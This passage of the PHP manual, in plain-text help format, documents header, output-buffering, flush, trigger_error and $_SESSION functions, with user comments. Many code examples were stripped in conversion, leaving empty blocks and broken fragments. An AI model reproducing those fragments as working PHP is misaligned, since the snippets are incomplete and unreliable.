"Request Header Too Large", 495 => "Cert Error", 496 => "No Cert", 497 => "HTTP to HTTPS", 499 => "Client Closed Request", 500 => "Internal Server Error", 501 => "Not Implemented", 502 => "Bad Gateway", 503 => "Service Unavailable", 504 => "Gateway Timeout", 505 => "HTTP Version Not Supported", 506 => "Variant Also Negotiates", 507 => "Insufficient Storage", 508 => "Loop Detected", 509 => "Bandwidth Limit Exceeded", 510 => "Not Extended", 511 => "Network Authentication Required", 598 => "Network read timeout error", 599 => "Network connect timeout error"); ?> < Source: Wikipedia "List_of_HTTP_status_codes" -------------------------------------------------------------------------------- *headers_list* +--------------+~ | headers_list |~ +--------------+~ (PHP 5, PHP 7) headers_list — Returns a list of response headers sent (or ready to send) Description~ > array headers_list ( void ) < headers_list() will return a list of headers to be sent to the browser / client. To determine whether or not these headers have been sent yet, use headers_sent(). Return Values~ Returns a numerically indexed array of headers. Examples~ Example #1 Examples using headers_list() > < The above example will output: > array(4) { [0]=> string(23) "X-Powered-By: PHP/5.1.3" [1]=> string(19) "Set-Cookie: foo=bar" [2]=> string(18) "X-Sample-Test: foo" [3]=> string(24) "Content-type: text/plain" } < Notes Note: Headers will only be accessible and output when a SAPI that supports them is in use. See Also~ |headers_sent|() - Checks if or where headers have been sent |header|() - Send a raw HTTP header |setcookie|() - Send a cookie |apache_response_headers|() - Fetch all HTTP response headers |http_response_code|() - Get or Set the HTTP response code User Contributed Notes 3 notes 14 Anonymous ¶4 years ago~ note that it does not return the status header > Array ( [0] => X-Powered-By: PHP/5.4.7 [1] => foo: bar [2] => a: b ) < -------------------------------------------------------------------------------- *headers_sent* +--------------+~ | headers_sent |~ +--------------+~ (PHP 4, PHP 5, PHP 7) headers_sent — Checks if or where headers have been sent Description~ > bool headers_sent ([ string &$file [, int &$line ]] ) < Checks if or where headers have been sent. You can't add any more header lines using the header() function once the header block has already been sent. Using this function you can at least prevent getting HTTP header related error messages. Another option is to use Output Buffering. Parameters~ file ----- If the optional file and line parameters are set, headers_sent() will put the PHP source file name and line number where output started in the file and line variables. line ----- The line number where the output started. Return Values~ headers_sent() will return FALSE if no HTTP headers have already been sent or TRUE otherwise. Examples~ Example #1 Examples using headers_sent() > link instead\n"; exit; } ?> < Notes Note: Headers will only be accessible and output when a SAPI that supports them is in use. See Also~ |ob_start|() - Turn on output buffering |trigger_error|() - Generates a user-level error/warning/notice message |headers_list|() - Returns a list of response headers sent (or ready to send) |header|() - Send a raw HTTP header for a more detailed discussion of the matters involved. User Contributed Notes 11 notes 26 Jakob B. ¶11 years ago~ > '; echo 'window.location.href="'.$filename.'";'; echo ''; echo ''; } } redirect('http://www.google.com'); ?> < -------------------------------------------------------------------------------- *ob_start* +----------+~ | ob_start |~ +----------+~ (PHP 4, PHP 5, PHP 7) ob_start — Turn on output buffering Description~ > bool ob_start ([ callable $output_callback = NULL [, int $chunk_size = 0 [, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS ]]] ) < This function will turn output buffering on. While output buffering is active no output is sent from the script (other than headers), instead the output is stored in an internal buffer. The contents of this internal buffer may be copied into a string variable using ob_get_contents(). To output what is stored in the internal buffer, use ob_end_flush(). Alternatively, ob_end_clean() will silently discard the buffer contents. Warning Some web servers (e.g. Apache) change the working directory of a script when calling the callback function. You can change it back by e.g. chdir(dirname($_SERVER['SCRIPT_FILENAME'])) in the callback function. Output buffers are stackable, that is, you may call ob_start() while another ob_start() is active. Just make sure that you call ob_end_flush() the appropriate number of times. If multiple output callback functions are active, output is being filtered sequentially through each of them in nesting order. Parameters~ output_callback --------------- An optional output_callback function may be specified. This function takes a string as a parameter and should return a string. The function will be called when the output buffer is flushed (sent) or cleaned (with ob_flush(), ob_clean() or similar function) or when the output buffer is flushed to the browser at the end of the request. When output_callback is called, it will receive the contents of the output buffer as its parameter and is expected to return a new output buffer as a result, which will be sent to the browser. If the output_callback is not a callable function, this function will return FALSE. This is the callback signature: > string handler ( string $buffer [, int $phase ] ) buffer ------ Contents of the output buffer. phase ----- Bitmask of PHP_OUTPUT_HANDLER_* constants. If output_callback returns FALSE original input is sent to the browser. The output_callback parameter may be bypassed by passing a NULL value. ob_end_clean(), ob_end_flush(), ob_clean(), ob_flush() and ob_start() may not be called from a callback function. If you call them from callback function, the behavior is undefined. If you would like to delete the contents of a buffer, return "" (a null string) from callback function. You can't even call functions using the output buffering functions like print_r($expression, true) or highlight_file($filename, true) from a callback function. Note: ob_gzhandler() function exists to facilitate sending gz-encoded data to web browsers that support compressed web pages. ob_gzhandler() determines what type of content encoding the browser will accept and will return its output accordingly. chunk_size ---------- If the optional parameter chunk_size is passed, the buffer will be flushed after any output call which causes the buffer's length to equal or exceed chunk_size. The default value 0 means that the output function will only be called when the output buffer is closed. Prior to PHP 5.4.0, the value 1 was a special case value that set the chunk size to 4096 bytes. flags ----- The flags parameter is a bitmask that controls the operations that can be performed on the output buffer. The default is to allow output buffers to be cleaned, flushed and removed, which can be set explicitly via PHP_OUTPUT_HANDLER_CLEANABLE | PHP_OUTPUT_HANDLER_FLUSHABLE | PHP_OUTPUT_HANDLER_REMOVABLE, or PHP_OUTPUT_HANDLER_STDFLAGS as shorthand. Each flag controls access to a set of functions, as described below: Constant Functions PHP_OUTPUT_HANDLER_CLEANABLE ob_clean(), ob_end_clean(), and ob_get_clean(). PHP_OUTPUT_HANDLER_FLUSHABLE ob_end_flush(), ob_flush(), and ob_get_flush(). PHP_OUTPUT_HANDLER_REMOVABLE ob_end_clean(), ob_end_flush(), and ob_get_flush(). Return Values~ Returns TRUE on success or FALSE on failure. Changelog Version Description 7.0.0 In case ob_start() is used inside an output buffer callback, this function will no longer issue an E_ERROR but instead an E_RECOVERABLE_ERROR, allowing custom error handlers to catch such errors. 5.4.0 The third parameter of ob_start() changed from a boolean parameter called erase (which, if set to FALSE, would prevent the output buffer from being deleted until the script finished executing) to an integer parameter called flags. Unfortunately, this results in an API compatibility break for code written prior to PHP 5.4.0 that uses the third parameter. See the flags example for an example of how to handle this with code that needs to be compatible with both. 5.4.0 A chunk size of 1 now results in chunks of 1 byte being sent to the output buffer. 4.3.2 This function was changed to return FALSE in case the passed output_callback can not be executed. Examples~ Example #1 User defined callback function example >

It's like comparing apples to oranges.

< The above example will output: >

It's like comparing oranges to oranges.

< Example #2 Creating an uneraseable output buffer in a way compatible with both PHP 5.3 and 5.4 > =')) { ob_start(null, 0, PHP_OUTPUT_HANDLER_STDFLAGS ^ PHP_OUTPUT_HANDLER_REMOVABLE); } else { ob_start(null, 0, false); } ?> < See Also~ |ob_get_contents|() - Return the contents of the output buffer |ob_end_clean|() - Clean (erase) the output buffer and turn off output buffering |ob_end_flush|() - Flush (send) the output buffer and turn off output buffering |ob_implicit_flush|() - Turn implicit flush on/off |ob_gzhandler|() - ob_start callback function to gzip output buffer |ob_iconv_handler|() - Convert character encoding as output buffer handler |mb_output_handler|() - Callback function converts character encoding in output buffer |ob_tidyhandler|() - ob_start callback function to repair the buffer User Contributed Notes 59 notes 28 Ray Paseur (Paseur ... ImagineDB.com) ¶12 years ago~ You can use PHP to generate a static HTML page. Useful if you have a complex script that, for performance reasons, you do not want site visitors to run repeatedly on demand. A "cron" job can execute the PHP script to create the HTML page. For example: > < 12 php at bucksvsbytes dot com ¶11 years ago~ The following should be added: "If outbut buffering is still active when the script ends, PHP outputs it automatically. In effect, every script ends with ob_end_flush()." 14 mjr ¶13 years ago~ If you're using object-orientated code in PHP you may, like me, want to use a call-back function that is inside an object (i.e. a class function). In this case you send ob_start a two-element array as its single argument. The first element is the name of the object (without the $ at the start), and the second is the function to call. So to use a function 'indent' in an object called '$template' you would use . 7 lucky760 at yahoo dot com ¶10 years ago~ In extension to the compress() function posted below, here's a nifty little class that improves the idea a bit. Basically, running that compress() function for all your CSS for every single page load is clearly far less than optimal, especially since the styles will change only infrequently at the very worst. With this class you can simply specify an array of your CSS file names and call dump_style(). The contents of each file are saved in compress()'d form in a cache file that is only recreated when the corresponding source CSS changes. It's intended for PHP5, but will work identically if you just un-OOP everything and possibly define file_put_contents. Enjoy! > dump_style(); // // class CSSCache // class CSSCache { private $filenames = array(); private $cwd; public function __construct($i_filename_arr) { if (!is_array($i_filename_arr)) $i_filename_arr = array($i_filename_arr); $this->filenames = $i_filename_arr; $this->cwd = getcwd() . DIRECTORY_SEPARATOR; if ($this->style_changed()) $expire = -72000; else $expire = 3200; header('Content-Type: text/css; charset: UTF-8'); header('Cache-Control: must-revalidate'); header('Expires: ' . gmdate('D, d M Y H:i:s', time() + $expire) . ' GMT'); } public function dump_style() { ob_start('ob_gzhandler'); foreach ($this->filenames as $filename) $this->dump_cache_contents($filename); ob_end_flush(); } private function get_cache_name($filename, $wildcard = FALSE) { $stat = stat($filename); return $this->cwd . '.' . $filename . '.' . ($wildcard ? '*' : ($stat['size'] . '-' . $stat['mtime'])) . '.cache'; } private function style_changed() { foreach ($this->filenames as $filename) if (!is_file($this->get_cache_name($filename))) return TRUE; return FALSE; } private function compress($buffer) { $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer); $buffer = str_replace(array("\r\n", "\r", "\n", "\t", ' '), '', $buffer); $buffer = str_replace('{ ', '{', $buffer); $buffer = str_replace(' }', '}', $buffer); $buffer = str_replace('; ', ';', $buffer); $buffer = str_replace(', ', ',', $buffer); $buffer = str_replace(' {', '{', $buffer); $buffer = str_replace('} ', '}', $buffer); $buffer = str_replace(': ', ':', $buffer); $buffer = str_replace(' ,', ',', $buffer); $buffer = str_replace(' ;', ';', $buffer); return $buffer; } private function dump_cache_contents($filename) { $current_cache = $this->get_cache_name($filename); // the cache exists - just dump it if (is_file($current_cache)) { include($current_cache); return; } // remove any old, lingering caches for this file if ($dead_files = glob($this->get_cache_name($filename, TRUE), GLOB_NOESCAPE)) foreach ($dead_files as $dead_file) unlink($dead_file); $compressed = $this->compress(file_get_contents($filename)); file_put_contents($current_cache, $compressed); echo $compressed; } } ?> < 7 mchojrin at gmail dot com ¶4 years ago~ Just a word of warning to those like myself who are upgrading from 5.3. I have a piece of code that used to work: > < Which is not working anymore (I get an error like: Warning: ob_start(): function '' not found or invalid function name). It's easily fixed though, just changed the '' to a null, like this: > < Which preserves the code intention but works :) 6 Chris ¶6 years ago~ Careful with while using functions that change headers of a page; that change will not be undone when ending output buffering. If you for instance have a class that generates an image and sets the appropriate headers, they will still be in place after the end of ob. For instance: > < will put the image bytes into $pngString, and set the content type to image/png. Though the image will not be sent to the client, the png header is still in place; if you do html output here, the browser will most likely display "image error, cannot be viewed", at least firefox does. You need to set the correct image type (text/html) manually in this case. -------------------------------------------------------------------------------- *ob_get_length* +---------------+~ | ob_get_length |~ +---------------+~ (PHP 4 >= 4.0.2, PHP 5, PHP 7) ob_get_length — Return the length of the output buffer Description~ > int ob_get_length ( void ) < This will return the length of the contents in the output buffer, in bytes. Return Values~ Returns the length of the output buffer contents, in bytes, or FALSE if no buffering is active. Examples~ Example #1 A simple ob_get_length() example > < The above example will output: 6, 11 See Also~ |ob_start|() - Turn on output buffering |ob_get_contents|() - Return the contents of the output buffer User Contributed Notes 5 notes 7 rush at logic dot cz ¶11 years ago~ There is a work-around for the situation you need to get length of the gz-ed buffer. > ob_start(); ob_start('ob_gzhandler'); < ... output the page content... > ob_end_flush(); // The ob_gzhandler one header('Content-Length: '.ob_get_length()); ob_end_flush(); // The main one < more info at http://www.edginet.org/techie/website/http.html -------------------------------------------------------------------------------- *ob_clean* +----------+~ | ob_clean |~ +----------+~ (PHP 4 >= 4.2.0, PHP 5, PHP 7) ob_clean — Clean (erase) the output buffer Description~ > void ob_clean ( void ) < This function discards the contents of the output buffer. This function does not destroy the output buffer like ob_end_clean() does. The output buffer must be started by ob_start() with PHP_OUTPUT_HANDLER_CLEANABLE flag. Otherwise ob_clean() will not work. Return Values~ No value is returned. See Also~ > ob_flush() - Flush (send) the output buffer ob_end_flush() - Flush (send) the output buffer and turn off output buffering ob_end_clean() - Clean (erase) the output buffer and turn off output buffering < User Contributed Notes 4 notes 16 meustrus ¶3 years ago~ @cornel: It's easy enough to say "Don't do that" when you think you've got the person right in front of you. But one doesn't always have the original coder, or even one of a dozen of the original coders. Are you really suggesting that it would be wrong to use this function as a band-aid when the alternative may be looking through hundreds of source files you didn't write for errors you didn't introduce? To your point, though, it is (or should be) a commonly accepted best practice to not put closing PHP tags at the end of files. When, however, enforcing that would take a time machine, it's appropriate to use ob_clean() as a band-aid to make dynamically generated images work as expected. 17 cornel at scoalaweb dot com ¶4 years ago~ Don't use ob_clean() to clear white-space or other unwanted content "accidentally" generated by included files. Included files should not generate unwanted content in the first place. If they do, You are doing something wrong, like inserting white-space after "?>" (there should not be a "?>" at the end of PHP files: http://php.net/manual/en/language.basic-syntax.phptags.php ). 9 lev at taintedthoughts dot com ¶9 years ago~ I find this function incredibly useful when manipulating or creating images in php (with GD). I spent quite a while searching through a large number of included files to find where I had a undesired space after php's ending tag - as this was causing all my images on the fly to break due to output already being set. Even more annoying was that this was not caught not php's error reporting so there was no reference to the problem line(s) in my log file. I don't know why error reporting wouldn't catch this since it was set to accept warnings, and the same thing had been caught in the past. Nevertheless, I never did find the line(s) that were adding extra spaces or new lines before my images were being generated, but what I did instead was add this handy function right before my image manipulation code and right after the include/require code. For example: > < While this may seem trivial a trivial use of the function, it in fact is incredibly useful for insuring no extra spaces or new lines have already been output while making images in php. As many of you probably already know, extra lines, spacing and padding that appears prior to image-code will prevent the image from being created. If the file "lib/somelibrary.php" had so much as an extra new line after the closing php tag then it would completely prevent the image from working in the above script. If you work on an extremely large project with a lot of source and required files, like myself, you will be well-advised to always clear the output buffer prior to creating an image in php. -------------------------------------------------------------------------------- *ob_get_contents* +-----------------+~ | ob_get_contents |~ +-----------------+~ (PHP 4, PHP 5, PHP 7) ob_get_contents — Return the contents of the output buffer Description~ > string ob_get_contents ( void ) < Gets the contents of the output buffer without clearing it. Return Values~ This will return the contents of the output buffer or FALSE, if output buffering isn't active. Examples~ Example #1 A simple ob_get_contents() example > < The above example will output: > string(6) "Hello " string(11) "Hello World" < See Also~ |ob_start|() - Turn on output buffering |ob_get_length|() - Return the length of the output buffer User Contributed Notes 6 notes 15 mauroasprea+php at gmail dot com ¶6 years ago~ This is an example of how the stack works: > < -------------------------------------------------------------------------------- *ob_end_clean* +--------------+~ | ob_end_clean |~ +--------------+~ (PHP 4, PHP 5, PHP 7) ob_end_clean — Clean (erase) the output buffer and turn off output buffering Description~ > bool ob_end_clean ( void ) < This function discards the contents of the topmost output buffer and turns off this output buffering. If you want to further process the buffer's contents you have to call ob_get_contents() before ob_end_clean() as the buffer contents are discarded when ob_end_clean() is called. The output buffer must be started by ob_start() with PHP_OUTPUT_HANDLER_CLEANABLE and PHP_OUTPUT_HANDLER_REMOVABLE flags. Otherwise ob_end_clean() will not work. Return Values~ Returns TRUE on success or FALSE on failure. Reasons for failure are first that you called the function without an active buffer or that for some reason a buffer could not be deleted (possible for special buffer). Errors/Exceptions~ If the function fails it generates an E_NOTICE. Examples~ The following example shows an easy way to get rid of all output buffers: Example #1 ob_end_clean() example > < See Also~ |ob_start|() - Turn on output buffering |ob_get_contents|() - Return the contents of the output buffer |ob_flush|() - Flush (send) the output buffer User Contributed Notes 10 notes 7 Sam Yong - hellclanner at live dot com ¶5 years ago~ Take note that if you change zlib output compression setting in between ob_start and ob_end_clean or ob_end_flush, you will get an error: ob_end_flush() failed to delete buffer zlib output compression Example: > < ob_end_clean(); in this example will throw the error. -------------------------------------------------------------------------------- *ob_end_flush* +--------------+~ | ob_end_flush |~ +--------------+~ (PHP 4, PHP 5, PHP 7) ob_end_flush — Flush (send) the output buffer and turn off output buffering Description~ > bool ob_end_flush ( void ) < This function will send the contents of the topmost output buffer (if any) and turn this output buffer off. If you want to further process the buffer's contents you have to call ob_get_contents() before ob_end_flush() as the buffer contents are discarded after ob_end_flush() is called. The output buffer must be started by ob_start() with PHP_OUTPUT_HANDLER_FLUSHABLE and PHP_OUTPUT_HANDLER_REMOVABLE flags. Otherwise ob_end_flush() will not work. Note: This function is similar to ob_get_flush(), except that ob_get_flush() returns the buffer as a string. Return Values~ Returns TRUE on success or FALSE on failure. Reasons for failure are first that you called the function without an active buffer or that for some reason a buffer could not be deleted (possible for special buffer). Errors/Exceptions~ If the function fails it generates an E_NOTICE. Examples~ Example #1 ob_end_flush() example The following example shows an easy way to flush and end all output buffers: > < See Also~ |ob_start|() - Turn on output buffering |ob_get_contents|() - Return the contents of the output buffer |ob_get_flush|() - Flush the output buffer, return it as a string and turn off output buffering |ob_flush|() - Flush (send) the output buffer |ob_end_clean|() - Clean (erase) the output buffer and turn off output buffering User Contributed Notes 9 notes 10 jhannus at 128kb dot com ¶12 years ago~ A note on the above example... with PHP 4 >= 4.2.0, PHP 5 you can use a combination of ob_get_level() and ob_end_flush() to avoid using the @ (error suppresion) which should probably be a little faaster. > 0) { ob_end_flush(); } ?> < -------------------------------------------------------------------------------- *ob_implicit_flush* +-------------------+~ | ob_implicit_flush |~ +-------------------+~ (PHP 4, PHP 5, PHP 7) ob_implicit_flush — Turn implicit flush on/off Description~ > void ob_implicit_flush ([ int $flag = true ] ) < ob_implicit_flush() will turn implicit flushing on or off. Implicit flushing will result in a flush operation after every output call, so that explicit calls to flush() will no longer be needed. Parameters~ flag ----- TRUE to turn implicit flushing on, FALSE otherwise. Return Values~ No value is returned. See Also~ |flush|() - Flush system output buffer |ob_start|() - Turn on output buffering |ob_end_flush|() - Flush (send) the output buffer and turn off output buffering User Contributed Notes 6 notes -------------------------------------------------------------------------------- *flush* +-------+~ | flush |~ +-------+~ (PHP 4, PHP 5, PHP 7) flush — Flush system output buffer Description~ > void flush ( void ) < Flushes the system write buffers of PHP and whatever backend PHP is using (CGI, a web server, etc). This attempts to push current output all the way to the browser with a few caveats. flush() may not be able to override the buffering scheme of your web server and it has no effect on any client-side buffering in the browser. It also doesn't affect PHP's userspace output buffering mechanism. This means you will have to call both ob_flush() and flush() to flush the ob output buffers if you are using those. Several servers, especially on Win32, will still buffer the output from your script until it terminates before transmitting the results to the browser. Server modules for Apache like mod_gzip may do buffering of their own that will cause flush() to not result in data being sent immediately to the client. Even the browser may buffer its input before displaying it. Netscape, for example, buffers text until it receives an end-of-line or the beginning of a tag, and it won't render tables until the tag of the outermost table is seen. Some versions of Microsoft Internet Explorer will only start to display the page after they have received 256 bytes of output, so you may need to send extra whitespace before flushing to get those browsers to display the page. Return Values~ No value is returned. See Also~ |ob_flush|() - Flush (send) the output buffer |ob_clean|() - Clean (erase) the output buffer |ob_end_flush|() - Flush (send) the output buffer and turn off output buffering |ob_end_clean|() - Clean (erase) the output buffer and turn off output buffering User Contributed Notes 33 notes 34 js at jeansebastien dot com ¶11 years ago~ This will show each line at a time with a pause of 2 seconds. (Tested under IEx and Firefox) > Line to show."; echo str_pad('',4096)."\n"; ob_flush(); flush(); sleep(2); } echo "Done."; ob_end_flush(); ?> < 8 Ghostshaw at spymac dot com ¶11 years ago~ I would like to point out that there is a function to replace ob_flush and flush. If you set ob_implicit_flush(true); at the top of the page it will automatically flush any echo or print you do in the rest of the script. Note that you still need a minimum amount of data to come through the browser filter. I would advice using str_pad($text,4096); since this automatically lenghtens the text with spaces to 4 KB which is the minimum limit when using FireFox and linux. I hope this helps you all out a bit. 15 php at stelio dot net ¶3 years ago~ For a Windows system using IIS, the ResponseBufferLimit takes precedence over PHP's output_buffering settings. So you must also set the ResponseBufferLimit to be something lower than its default value. For IIS versions older than 7, the setting can be found in the %windir%\System32\inetsrv\fcgiext.ini file (the FastCGI config file). You can set the appropriate line to: ResponseBufferLimit=0 For IIS 7+, the settings are stored in %windir%\System32\inetsrv\config. Edit the applicationHost.config file and search for PHP_via_FastCGI (assuming that you have installed PHP as a FastCGI module, as per the installation instructions, with the name PHP_via_FastCGI). Within the add tag, place the following setting at the end: responseBufferLimit="0" So the entire line will look something like: > < Alternatively you can insert the setting using the following command: > %windir%\system32\inetsrv\appcmd.exe set config /section:handlers "/[name='PHP_via_FastCGI'].ResponseBufferLimit:0" < 6 no at spam dot com ¶10 years ago~ ob_flush();flush(); Not the other way around, because it wont work. 11 mandor at mandor dot net ¶8 years ago~ This is what I use to turn off pretty much anything that could cause unwanted output buffering and turn on implicit flush: > < If it still fails though, keep in mind that Internet Explorer and Safari have a 1k buffer before incremental rendering kicks in, so you'll want to output some padding as well. -------------------------------------------------------------------------------- *ob_get_flush* +--------------+~ | ob_get_flush |~ +--------------+~ (PHP 4 >= 4.3.0, PHP 5, PHP 7) ob_get_flush — Flush the output buffer, return it as a string and turn off output buffering Description~ > string ob_get_flush ( void ) ob_get_flush() flushes the output buffer, return it as a string and turns off output buffering. < The output buffer must be started by ob_start() with PHP_OUTPUT_HANDLER_FLUSHABLE flag. Otherwise ob_get_flush() will not work. Note: This function is similar to ob_end_flush(), except that this function returns the buffer as a string. Return Values ¶ Returns the output buffer or FALSE if no buffering is active. Examples~ Example #1 ob_get_flush() example > < The above example will output: > Array ( [0] => default output handler ) Array ( ) < See Also~ |ob_end_clean|() - Clean (erase) the output buffer and turn off output buffering |ob_end_flush|() - Flush (send) the output buffer and turn off output buffering |ob_list_handlers|() - List all output handlers in use User Contributed Notes 4 notes 15 info at pcdoctor dot fr ¶8 years ago~ Hi, this is just to add a behavior that I haven't understud at first place. ob_get_flush actually returns the content of the buffer as a text but also it sends the buffer back to the browser so that it's displayed on user screen. Use ob_get_clean if you do not want the buffer to be send to the user -------------------------------------------------------------------------------- *ob_list_handlers* +------------------+~ | ob_list_handlers |~ +------------------+~ (PHP 4 >= 4.3.0, PHP 5, PHP 7) ob_list_handlers — List all output handlers in use Description~ > array ob_list_handlers ( void ) < Lists all output handlers in use. Return Values~ This will return an array with the output handlers in use (if any). If output_buffering is enabled or an anonymous function was used with ob_start(), ob_list_handlers() will return "default output handler". Examples~ Example #1 ob_list_handlers() example > < The above example will output: > Array ( [0] => default output handler ) Array ( [0] => ob_gzhandler ) Array ( [0] => Closure::__invoke ) < See Also~ |ob_end_clean|() - Clean (erase) the output buffer and turn off output buffering |ob_end_flush|() - Flush (send) the output buffer and turn off output buffering |ob_get_flush|() - Flush the output buffer, return it as a string and turn off output buffering |ob_start|() - Turn on output buffering -------------------------------------------------------------------------------- *ob_tidyhandler* +----------------+~ | ob_tidyhandler |~ +----------------+~ (PHP 5, PHP 7) ob_tidyhandler — ob_start callback function to repair the buffer Description~ > string ob_tidyhandler ( string $input [, int $mode ] ) < Callback function for ob_start() to repair the buffer. Parameters~ input ----- The buffer. mode ----- The buffer mode. Return Values~ Returns the modified buffer. Examples~ Example #1 ob_tidyhandler() example > test'; ?> The above example will output:

test

< See Also |ob_start|() - Turn on output buffering -------------------------------------------------------------------------------- *mb_output_handler* +-------------------+~ | mb_output_handler |~ +-------------------+~ (PHP 4 >= 4.0.6, PHP 5, PHP 7) mb_output_handler — Callback function converts character encoding in output buffer Description~ > string mb_output_handler ( string $contents , int $status ) < mb_output_handler() is ob_start() callback function. mb_output_handler() converts characters in the output buffer from internal character encoding to HTTP output character encoding. Parameters~ contents ----- The contents of the output buffer. status ------ The status of the output buffer. Return Values~ The converted string. Changelog~ Version Description 4.1.0 This handler now adds the charset HTTP header when the following conditions are met: Content-Type has not been set, using header(). The default MIME type begins with text/. The mbstring.http_input setting is something other than pass. Examples~ Example #1 mb_output_handler() example > < Notes Note: If you want to output binary data, such as an image, a Content-Type: header must be set using header() before any binary data is sent to the client (e.g. header("Content-Type: image/png")). If Content-Type: header is sent, output character encoding conversion will not be performed. Note that if 'Content-Type: text/*' is sent, the content body is regarded as text; conversion will take place. See Also~ |ob_start|() - Turn on output buffering -------------------------------------------------------------------------------- *ob_iconv_handler* +------------------+~ | ob_iconv_handler |~ +------------------+~ (PHP 4 >= 4.0.5, PHP 5, PHP 7) ob_iconv_handler — Convert character encoding as output buffer handler Description~ > string ob_iconv_handler ( string $contents , int $status ) < Converts the string encoded in internal_encoding to output_encoding. internal_encoding and output_encoding should be defined in the php.ini file or in iconv_set_encoding(). Parameters~ See ob_start() for information about this handler parameters. Return Values~ See ob_start() for information about this handler return values. Examples~ Example #1 ob_iconv_handler() example: > < See Also~ |iconv_get_encoding|() - Retrieve internal configuration variables of iconv extension |iconv_set_encoding|() - Set current setting for character encoding conversion output-control functions -------------------------------------------------------------------------------- *ob_gzhandler* +--------------+~ | ob_gzhandler |~ +-------------+~ ob_gzhandler (PHP 4 >= 4.0.4, PHP 5, PHP 7) ob_gzhandler — ob_start callback function to gzip output buffer Description~ > string ob_gzhandler ( string $buffer , int $mode ) < ob_gzhandler() is intended to be used as a callback function for ob_start() to help facilitate sending gz-encoded data to web browsers that support compressed web pages. Before ob_gzhandler() actually sends compressed data, it determines what type of content encoding the browser will accept ("gzip", "deflate" or none at all) and will return its output accordingly. All browsers are supported since it's up to the browser to send the correct header saying that it accepts compressed web pages. If a browser doesn't support compressed pages this function returns FALSE. Parameters~ buffer ------ mode ----- Return Values~ Examples~ Example #1 ob_gzhandler() example >

This should be a compressed page.

< Notes Note: ob_gzhandler() requires the zlib extension. Note: You cannot use both ob_gzhandler() and zlib.output_compression. Also note that using zlib.output_compression is preferred over ob_gzhandler(). See Also~ |ob_start|() - Turn on output buffering |ob_end_flush|() - Flush (send) the output buffer and turn off output buffering User Contributed Notes 40 notes 10 Jer ¶6 years ago~ I've just spent 5 hours fighting a bug in my application and outcome is: > < W3C Standart requires response body to be empty if 304 header set. With compression on it will at least contain a gzip stream header even if your output is completely empty! This affects firefox (current ver.3.6.3) in a very subtle way: one of the requests after the one that gets 304 with not empty body gets it response prepended with contents of that body. In my case it was a css file and styles was not rendered at all, which made problem show up. -------------------------------------------------------------------------------- *trigger_error* +---------------+~ | trigger_error |~ +---------------+~ (PHP 4 >= 4.0.1, PHP 5, PHP 7) trigger_error — Generates a user-level error/warning/notice message Description~ > bool trigger_error ( string $error_msg [, int $error_type = E_USER_NOTICE ] ) < Used to trigger a user error condition, it can be used in conjunction with the built-in error handler, or with a user defined function that has been set as the new error handler (set_error_handler()). This function is useful when you need to generate a particular response to an exception at runtime. Parameters~ error_msg ----- The designated error message for this error. It's limited to 1024 bytes in length. Any additional characters beyond 1024 bytes will be truncated. error_type ---------- The designated error type for this error. It only works with the E_USER family of constants, and will default to E_USER_NOTICE. Return Values~ This function returns FALSE if wrong error_type is specified, TRUE otherwise. Examples~ Example #1 trigger_error() example See set_error_handler() for a more extensive example. > < Notes Warning HTML entities in error_msg are not escaped. Use htmlentities() on the message if the error is to be displayed in a browser. See Also~ |error_reporting|() - Sets which PHP errors are reported |set_error_handler|() - Sets a user-defined error handler function |restore_error_handler|() - Restores the previous error handler function User Contributed Notes 14 notes 27 someone at attbi dot com ¶13 years ago~ the idea is never to give out file names, line numbers, and cryptic codes to the user. Use trigger_error() after you used set_error_handler() to register your own callback function which either logs or emails the error codes to you, and echo a simple friendly message to the user. And turn on a more verbose error handler function when you need to debug your scripts. In my init.php scripts I always have: > if (_DEBUG_) { set_error_handler ('debug_error_handler'); } else { set_error_handler ('nice_error_handler'); } < 14 Howard Yeend ¶7 years ago~ trigger_error always reports the line and file that trigger_error was called on. Which isn't very useful. eg: main.php: > functions.php: < will output "Notice: var must be numeric in functions.php on line 6" whereas "Notice: var must be numeric in main.php on line 4" would be more useful here's a function to do that: > '.$caller['function'].' called from '.$caller['file'].' on line '.$caller['line'].''."\n
error handler", $level); } ?> So now in our example: > main.php: functions.php: '.$caller['function'].' called from '.$caller['file'].' on line '.$caller['line'].''."\n
error handler", $level); } ?> < now outputs: "Notice: var must be numeric in doFunction called from main.php on line 4" -------------------------------------------------------------------------------- *$_SESSION* +-----------+~ | $_SESSION |~ +-----------+~ $HTTP_SESSION_VARS [deprecated] (PHP 4 >= 4.1.0, PHP 5, PHP 7) $_SESSION -- $HTTP_SESSION_VARS [deprecated] — Session variables Description~ An associative array containing session variables available to the current script. See the Session functions documentation for more information on how this is used. $HTTP_SESSION_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_SESSION_VARS and $_SESSION are different variables and that PHP handles them as such) Changelog~ Version Description 4.1.0 Introduced $_SESSION that deprecated $HTTP_SESSION_VARS. Notes ¶ Note: This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods. See Also~ session_start() - Start new or resume existing session User Contributed Notes 12 notes 16 opajaap at opajaap dot nl ¶3 years ago~ Be carefull with $_SESSION array elements when you have the same name as a normal global. The following example leads to unpredictable behaviour of the $wppa array elements, some are updated by normal code, some not, it is totally unpredictable what happens. > 'value1', 'elm2' => 'value2', ....etc...); if ( ! session_id() ) @ session_start(); if ( ! isset($_SESSION['wppa']) $_SESSION['wppa'] = array(); if ( ! isset($_SESSION['wppa']['album']) ) $_SESSION['wppa']['album'] = array(); $_SESSION['wppa']['album'][1234] = 1; $wppa['elm1'] = 'newvalue1'; print_r($_SESSION); ?> < This will most likely display Array ( [wppa] => Array ( [album] => Array ( [1234] => 1 ) [elm1] => 'newvalue1' [elm2] => 'value2' ... etc ... But setting $wppa['elm1'] to another value or referring to it gives unpredictable results, maybe 'value1', or 'newvalue1'. The most strange behaviour is that not all elements of $wppa[xx] show up as $_SESSION['wppa'][xx]. 12 Tugrul ¶2 years ago~ Creating New Session ========================== > < Getting Session ========================== > < Updating Session ========================== > < Deleting Session ========================== > < Reference: http://gencbilgin.net/php-session-kullanimi.html 5 bohwaz ¶8 years ago~ Please note that if you have register_globals to On, global variables associated to $_SESSION variables are references, so this may lead to some weird situations. > < Load the page, OK it displays 42, reload the page... it displays 43. The solution is to do this after each time you do a session_start() : > $value) { if (isset($GLOBALS[$key])) unset($GLOBALS[$key]); } } ?> < -------------------------------------------------------------------------------- *Superglobals* 